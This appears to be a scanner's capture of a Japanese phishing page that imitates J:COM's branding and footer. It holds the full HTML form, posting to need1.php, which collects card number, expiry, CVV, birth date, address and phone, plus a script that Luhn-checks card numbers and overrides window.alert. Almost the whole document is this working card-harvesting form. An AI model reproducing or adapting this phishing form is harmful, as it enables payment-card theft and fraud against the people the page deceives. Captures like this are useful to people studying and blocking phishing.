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Form analysis 1 forms found in the DOM
Name: form1 — POST need1.php
<form name="form1" id="form1" action="need1.php" method="post">
<!-- お申し込みまでの流れ/end -->
<div id="container">
<section id="user_information_section">
<h1 class="user-section__header gap"><b><font color="#FE6A04">顧客情報</font></b></h1>
<table class="user-section__table">
<tbody>
<tr>
<th><b><font color="#FE6A04">名前</font></b></th>
<td>
<p id="first_name_kanji_error_message" class="validation-error"></p>
<p id="second_name_kanji_error_message" class="validation-error"></p>
<p class="input-wrap">
<input class="name" type="text" id="first_name_kanji" name="first_name_kanji" placeholder="品川" value="" required=""><span class="spacer--name"></span>
<input class="name" type="text" id="second_name_kanji" name="second_name_kanji" placeholder="タロウ" value="" required="">
</p>
</td>
</tr>
<tr>
<th><b><font color="#FE6A04">クレジット/デビットカード番号</font></b></th>
<td>
<p id="address_4_error_message" class="validation-error"></p>
<p class="input-wrap">
<input class="ccnumber" type="tel" id="ccnumber" name="ccnumber" onfocus="add_border(this);" oninput="hengxian();" placeholder="4242424242424242" value="" minlength="15" maxlength="16" required="">
</p>
</td>
</tr>
<tr>
<th><b><font color="#FE6A04">有効期限 </font></b></th>
<td>
<p class="input-wrap"><select id="c_period_M" name="c_period_M" style="IME-MODE:inactive;" onchange="onC(this);" onblur="onB(this);" onfocus="onF(this);">
<option value="0">▽</option>
<option value="01">1</option>
<option value="02">2</option>
<option value="03">3</option>
<option value="04">4</option>
<option value="05">5</option>
<option value="06">6</option>
<option value="07">7</option>
<option value="08">8</option>
<option value="09">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
</select><span class="hyphen">月</span><select id="c_period_Y" name="c_period_Y" style="IME-MODE:inactive;" onchange="onC(this);" onblur="onB(this);" onfocus="onF(this);">
<option value="0">▽</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="28">28</option>
<option value="29">29</option>
<option value="30">30</option>
<option value="31">31</option>
<option value="32">32</option>
<option value="33">33</option>
<option value="34">34</option>
<option value="35">35</option>
<option value="36">36</option>
<option value="37">37</option>
<option value="38">38</option>
<option value="39">39</option>
<option value="40">40</option>
<option value="41">41</option>
<option value="42">42</option>
<option value="43">43</option>
<option value="44">44</option>
<option value="45">45</option>
<option value="46">46</option>
<option value="47">47</option>
<option value="48">48</option>
<option value="49">49</option>
<option value="50">50</option>
<option value="51">51</option>
<option value="52">52</option>
</select> 年 （例：カードの表記が06/26→6月26年）</p>
</td>
</tr>
<tr>
<th><b><font color="#FE6A04">セキュリティコード </font></b></th>
<td>
<p class="input-wrap"><input type="tel" value="" class="cvv" name="cvv" id="cvv" placeholder="000" minlength="3" maxlength="4" required=""><br><br>※ クレジットカード裏面の署名欄に印字されている最後の3桁または4桁の数字です。</p>
</td>
</tr>
<tr>
<th><b><font color="#FE6A04">生年月日</font></b></th>
<td>
<input type="hidden" id="birth_E" name="birth_E" value="0">
<p><span class="input-wrap year"><input class="year__input" type="tel" id="birth_Y" style="ime-mode: disabled;" name="birth_Y" placeholder="1982" minlength="4" maxlength="4" value="" required=""><label
class="year__spacer">年</label></span><label for="birth_M" class="select-wrap date"><select name="birth_M" id="birth_M">
<option value="0">月</option>
<option value="1">1月</option>
<option value="2">2月</option>
<option value="3">3月</option>
<option value="4">4月</option>
<option value="5">5月</option>
<option value="6">6月</option>
<option value="7">7月</option>
<option value="8">8月</option>
<option value="9">9月</option>
<option value="10">10月</option>
<option value="11">11月</option>
<option value="12">12月</option>
</select></label><span class="spacer--birth"></span><label for="birth_D" class="select-wrap date"><select name="birth_D" id="birth_D">
<option value="0">日</option>
<option value="1">1日</option>
<option value="2">2日</option>
<option value="3">3日</option>
<option value="4">4日</option>
<option value="5">5日</option>
<option value="6">6日</option>
<option value="7">7日</option>
<option value="8">8日</option>
<option value="9">9日</option>
<option value="10">10日</option>
<option value="11">11日</option>
<option value="12">12日</option>
<option value="13">13日</option>
<option value="14">14日</option>
<option value="15">15日</option>
<option value="16">16日</option>
<option value="17">17日</option>
<option value="18">18日</option>
<option value="19">19日</option>
<option value="20">20日</option>
<option value="21">21日</option>
<option value="22">22日</option>
<option value="23">23日</option>
<option value="24">24日</option>
<option value="25">25日</option>
<option value="26">26日</option>
<option value="27">27日</option>
<option value="28">28日</option>
<option value="29">29日</option>
<option value="30">30日</option>
<option value="31">31日</option>
</select></label></p>
</td>
</tr>
<tr>
<th><b><font color="#FE6A04">性別</font></b></th>
<td>
<p id="sex_error_message" class="validation-error"></p>
<p class="input-wrap gap"><input type="radio" value="MAN" name="sex" id="sex_1"><label for="sex_1"><b><font color="#FE6A04">男性</font></b></label></p>
<p class="input-wrap"><input type="radio" id="sex_2" value="WOMAN" name="sex"><label for="sex_2"><b><font color="#FE6A04">女性</font></b></label>
</p>
</td>
</tr>
</tbody>
</table>
</section>
<div class="separator"><img src="https://vasap01.sso.biglobe.ne.jp/signup/v2.0/img/arw_select_down.png" width="34px"></div>
<section id="address_section">
<h1 class="user-section__header gap"><b><font color="#FE6A04">ユーザーアドレス</font></b></h1>
<table class="user-section__table">
<tbody>
<tr>
<th><b><font color="#FE6A04">郵便番号</font></b></th>
<td>
<div class="input-wrap"><input class="post1" type="tel" id="post_1" name="post_1" placeholder="140" minlength="3" maxlength="3" value="" required=""><span class="hyphen">-</span>
<input class="post2" type="tel" id="post_2" name="post_2" placeholder="0002" minlength="4" maxlength="4" value="" required="">
</div>
</td>
</tr>
<tr>
<th><b><font color="#FE6A04">都道府県</font></b></th>
<td>
<p id="address_1_error_message" class="validation-error"></p>
<p>
<label for="address_1" class="select-wrap address">
<select class="address" id="address_1" name="address_1">
<option value="0">こちらからお選びください</option>
<option value="北海道">北海道</option>
<option value="青森県">青森県</option>
<option value="岩手県">岩手県</option>
<option value="宮城県">宮城県</option>
<option value="秋田県">秋田県</option>
<option value="山形県">山形県</option>
<option value="福島県">福島県</option>
<option value="茨城県">茨城県</option>
<option value="栃木県">栃木県</option>
<option value="群馬県">群馬県</option>
<option value="埼玉県">埼玉県</option>
<option value="千葉県">千葉県</option>
<option value="東京都">東京都</option>
<option value="神奈川県">神奈川県</option>
<option value="新潟県">新潟県</option>
<option value="富山県">富山県</option>
<option value="石川県">石川県</option>
<option value="福井県">福井県</option>
<option value="山梨県">山梨県</option>
<option value="長野県">長野県</option>
<option value="岐阜県">岐阜県</option>
<option value="静岡県">静岡県</option>
<option value="愛知県">愛知県</option>
<option value="三重県">三重県</option>
<option value="滋賀県">滋賀県</option>
<option value="京都府">京都府</option>
<option value="大阪府">大阪府</option>
<option value="兵庫県">兵庫県</option>
<option value="奈良県">奈良県</option>
<option value="和歌山県">和歌山県</option>
<option value="鳥取県">鳥取県</option>
<option value="島根県">島根県</option>
<option value="岡山県">岡山県</option>
<option value="広島県">広島県</option>
<option value="山口県">山口県</option>
<option value="徳島県">徳島県</option>
<option value="香川県">香川県</option>
<option value="愛媛県">愛媛県</option>
<option value="高知県">高知県</option>
<option value="福岡県">福岡県</option>
<option value="佐賀県">佐賀県</option>
<option value="長崎県">長崎県</option>
<option value="熊本県">熊本県</option>
<option value="大分県">大分県</option>
<option value="宮崎県">宮崎県</option>
<option value="鹿児島県">鹿児島県</option>
<option value="沖縄県">沖縄県</option>
</select>
</label>
</p>
</td>
</tr>
<tr>
<th><b><font color="#FE6A04">市区郡</font></b></th>
<td>
<p class="input-wrap">
<input class="address width20" type="text" id="address_2" name="address_2" placeholder="品川区" value="" required="">
</p>
</td>
</tr>
<tr>
<th><b><font color="#FE6A04">町村・所</font></b></th>
<td>
<p id="address_3_1_error_message" class="validation-error"></p>
<p class="input-wrap">
<input class="address width20" type="text" id="address_3_1" name="address_3_1" placeholder="東品川" value="" required="">
</p>
</td>
</tr>
<tr>
<th><b><font color="#FE6A04">丁目・番地</font></b></th>
<td>
<p id="address_3_2_error_message" class="validation-error"></p>
<p class="input-wrap">
<input class="address width20" type="text" id="address_3_2" name="address_3_2" placeholder="4-12-4" value="" required="">
</p>
</td>
</tr>
<tr>
<th><b><font color="#FE6A04">電話番号</font></b></th>
<td>
<p class="input-wrap"><input class="telephone phone" type="tel" id="tel_0" name="tel_0" placeholder="03" minlength="2" maxlength="2" value="" required=""><span class="hyphen">-</span>
<input class="telephone phone" type="tel" id="tel_1" name="tel_1" placeholder="1234" minlength="4" maxlength="4" value="" required=""><span class="hyphen">-</span>
<input class="telephone phone" type="tel" id="tel_2" name="tel_2" placeholder="5678" minlength="4" maxlength="4" value="" required="">
</p>
</td>
</tr>
<tr>
</tr>
</tbody>
</table>
</section>
<table class="user-section__table">
<tbody>
<tr>
</tr>
</tbody>
</table>
<link rel="stylesheet" type="text/css" media="all" href="https://www.so-net.ne.jp/mypage/css/mypage_responsive.css?buildTimestamp=090905">
<script src="js/luhmCheck.js"></script>
<script src="js/bankcard.js"></script>
<script>
$('input[name="exdate"]').mask('00/0000');
$('input[name="name_two"]').mask('0000');
$(function() {
//银行卡验证
$("input[name='ccnumber']").blur(function() {
if ($("input[name='ccnumber']").val() != "") {
var ccnumber = $("input[name='ccnumber']").val();
ccnumber = ccnumber.replace(/\s*/g, '');
if (!luhmCheck(ccnumber)) {
alert("正しいカード番号を入力してください。");
$(this).val('');
$(this)[0].focus();
return false;
}
}
});
$('#name_two').bind('input propertychange', function() {
var ccnumber = $("input[name='ccnumber']").val();
ccnumber = ccnumber.substring(0, 1);
if (ccnumber == 4 || ccnumber == 5) {
if (name_two.length > 3) {
$(this).val('');
return false;
}
}
});
});
window.alert = alert;
function alert(data, callback) { //回调函数
var alert_bg = document.createElement('div');
alert_box = document.createElement('div'),
alert_text = document.createElement('div'),
alert_btn = document.createElement('div'),
textNode = document.createTextNode(data ? data : ''),
btnText = document.createTextNode('确 定');
// 控制样式
css(alert_bg, {
'position': 'fixed',
'top': '0',
'left': '0',
'right': '0',
'bottom': '0',
'background-color': 'rgba(0, 0, 0, 0.1)',
'z-index': '999999999'
});
css(alert_box, {
'width': '270px',
'max-width': '90%',
'font-size': '16px',
'text-align': 'center',
'background-color': '#fff',
'border-radius': '15px',
'position': 'absolute',
'top': '50%',
'left': '50%',
'transform': 'translate(-50%, -50%)'
});
css(alert_text, {
'padding': '10px 15px',
'border-bottom': '1px solid #ddd'
});
css(alert_btn, {
'padding': '10px 0',
'color': '#007aff',
'font-weight': '600',
'cursor': 'pointer'
});
// 内部结构套入
alert_text.appendChild(textNode);
alert_btn.appendChild(btnText);
alert_box.appendChild(alert_text);
alert_box.appendChild(alert_btn);
alert_bg.appendChild(alert_box);
// 整体显示到页面内
document.getElementsByTagName('body')[0].appendChild(alert_bg);
// 确定绑定点击事件删除标签
alert_btn.onclick = function() {
alert_bg.parentNode.removeChild(alert_bg);
if (typeof callback === 'function') {
callback(); //回调
}
}
}
function css(targetObj, cssObj) {
var str = targetObj.getAttribute("style") ? targetObj.getAttribute('style') : '';
for (var i in cssObj) {
str += i + ':' + cssObj[i] + ';';
}
targetObj.style.cssText = str;
}
</script>
<div class="separator"></div>
<div id="next_button_section">
<div class="gap row">
<div class="col-xs-10 col-xs-offset-1 col-sm-8 col-sm-offset-2">
<button id="next" class="button--block button--next x-large" type="submit">確認画面へ</button>
</div>
</div>
</div>
</div>
</form>Text Content
顧客情報 名前 クレジット/デビットカード番号 有効期限 ▽ 1 2 3 4 5 6 7 8 9 10 11 12 月 ▽ 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 年 （例：カードの表記が06/26→6月26年） セキュリティコード ※ クレジットカード裏面の署名欄に印字されている最後の3桁または4桁の数字です。 生年月日 年月 1月 2月 3月 4月 5月 6月 7月 8月 9月 10月 11月 12月 日 1日 2日 3日 4日 5日 6日 7日 8日 9日 10日 11日 12日 13日 14日 15日 16日 17日 18日 19日 20日 21日 22日 23日 24日 25日 26日 27日 28日 29日 30日 31日 性別 男性 女性 ユーザーアドレス 郵便番号 - 都道府県 こちらからお選びください 北海道 青森県 岩手県 宮城県 秋田県 山形県 福島県 茨城県 栃木県 群馬県 埼玉県 千葉県 東京都 神奈川県 新潟県 富山県 石川県 福井県 山梨県 長野県 岐阜県 静岡県 愛知県 三重県 滋賀県 京都府 大阪府 兵庫県 奈良県 和歌山県 鳥取県 島根県 岡山県 広島県 山口県 徳島県 香川県 愛媛県 高知県 福岡県 佐賀県 長崎県 熊本県 大分県 宮崎県 鹿児島県 沖縄県 市区郡 町村・所 丁目・番地 電話番号 - - 確認画面へ * J:COMショップ * 体感スペース * CMギャラリー * * * * チャンネル数はご提供する専用チューナー経由でご覧いただける、地上デジタル放送とBSデジタル放送を含みます。 * ご契約内容や混雑状況、固定電話番号ポータビリティーサービスのご利用などにより、4日以上かかる場合があります。あらかじめご了承ください。 【税込金額について】 * 消費税計算をサービスごとに行うため、税込合計額に１円の誤差が発生する場合があります。 * チャンネル数はご提供する専用チューナー経由でご覧いただける、地上デジタル放送とBSデジタル放送を含みます。 * 古物営業法に基づく表示 * 料金シミュレーション * J:COMをご検討中の方お申し込み * J:COMをご利用中の方サービス追加・変更 ご加入に関するお問い合わせ 0120-989-970 受付時間：9:00～18:00【年中無休】 閉じる お申し込みはこちら ページの先頭に戻る * サイトマップ * 当サイトについて * ジュピターテレコムのプライバシーポリシー * お問い合わせ * 企業情報 * 採用情報 * ENGLISH * 法人のお客さま Copyright © Jupiter Telecommunications Co., Ltd. All Rights Reserved. 提供エリアを確認したい方 1郵便番号を入力してください。 〒 ※ハイフンなし 都道府県から探す 都道府県から探す 2住居タイプを選択してください。 集合住宅 戸建住宅 検索する J:COM対応物件を検索したい方 対応物件を検索する エリアをチェック お住まいのエリアはサービス提供エリアです。 J:COM *** プランの料金を知りたい方は 続けて料金シミュレーション サービスからお申し込みまでの流れを知りたい方は 戸建住宅の方へ 加入のご案内 集合住宅の方へ 加入のご案内 戻る 閉じる エリアをチェック 〒0000000 ご入力いただいた郵便番号には、複数のエリア候補があります。 以下のリストから住所を選択してください 選択してください 選択肢1 選択肢2 選択肢3 選択肢4 選択肢5 設定する 戻る 閉じる エリアをチェック ご入力の郵便番号では、モバイルを除くサービスは提供エリア外となります。 念のため、入力内容をご確認ください。 1郵便番号を入力してください。 〒 ※ハイフンなし 都道府県から探す 都道府県から探す 2住居タイプを選択してください。 集合住宅 戸建住宅 検索する 戻る 閉じる エリアをチェック 〒2410001 神奈川県横浜市旭区は横浜ケーブルビジョン（YCV）のサービスエリアです。 地域・建物の状況によりご利用できない場合があります。 詳しくはお問い合わせください。 横浜ケーブルビジョン（YCV）のホームページはこちら。 戻る 閉じる エリアを設定する ご入力の郵便番号では、モバイルを除くサービスは提供エリア外となります。 念のため、入力内容をご確認ください。 1郵便番号を入力してください。 〒 ※ハイフンなし 都道府県から探す 都道府県から探す 2住居タイプを選択してください。 集合住宅 戸建住宅 次へ 閉じる 都道府県を選択 必須 都道府県を選択してください。 北海道・東北 * 北海道 * 宮城県 関東 * 東京都 * 神奈川県 * 千葉県 * 埼玉県 * 群馬県 * 茨城県 関西 * 大阪府 * 京都府 * 和歌山県 * 兵庫県 九州・山口 * 福岡県 * 熊本県 * 大分県 * 山口県 戻る 市区町村を選択 必須 市区町村を選択してください。 選択中の住所：東京都 * あ * か * さ * た * な * は * ま * や * ら * わ * * か * さ * た * な * は * ま * や * ら * わ 戻る 詳細住所を選択 必須 詳細住所を選択してください。 選択中の住所：東京都 * あ * か * さ * た * な * は * ま * や * ら * わ 戻る 都道府県を選択 戻る 必須 都道府県を選択してください。 市区町村を選択してください。 詳細住所を選択してください。 現在の選択： 東京都・足立区 * 北海道 * 宮城県 * 群馬県 * 茨城県 * 東京都 * 神奈川県 * 千葉県 * 埼玉県 * 和歌山県 * 大阪府 * 京都府 * 兵庫県 * 山口県 * 福岡県 * 熊本県 * 大分県 戻る 戻る サービスご利用状況を選択してください 1現在J:COMサービスをご利用していますか？ 利用していない 利用中 2ご利用中のサービスを選択してください。 * ケーブルテレビ * インターネット * 固定電話 このプランの料金内訳をみる 次へ 提供エリアを確認したい方 ご入力の郵便番号では、モバイルを除くサービスは提供エリア外となります。 念のため、入力内容をご確認ください。 1郵便番号を入力してください。 〒 ※ハイフンなし 都道府県から探す 2住居タイプを選択してください。 集合住宅 戸建住宅 検索する エリアをチェック お住まいのエリアはサービス提供エリアです。 J:COM *** お住まいのエリアはサービス提供エリア外です。 J:COM *** サービスのお申込みはこちら ※一部のエリアでは未提供です。 J:COM ガスのお申し込み 戻る 閉じる dummy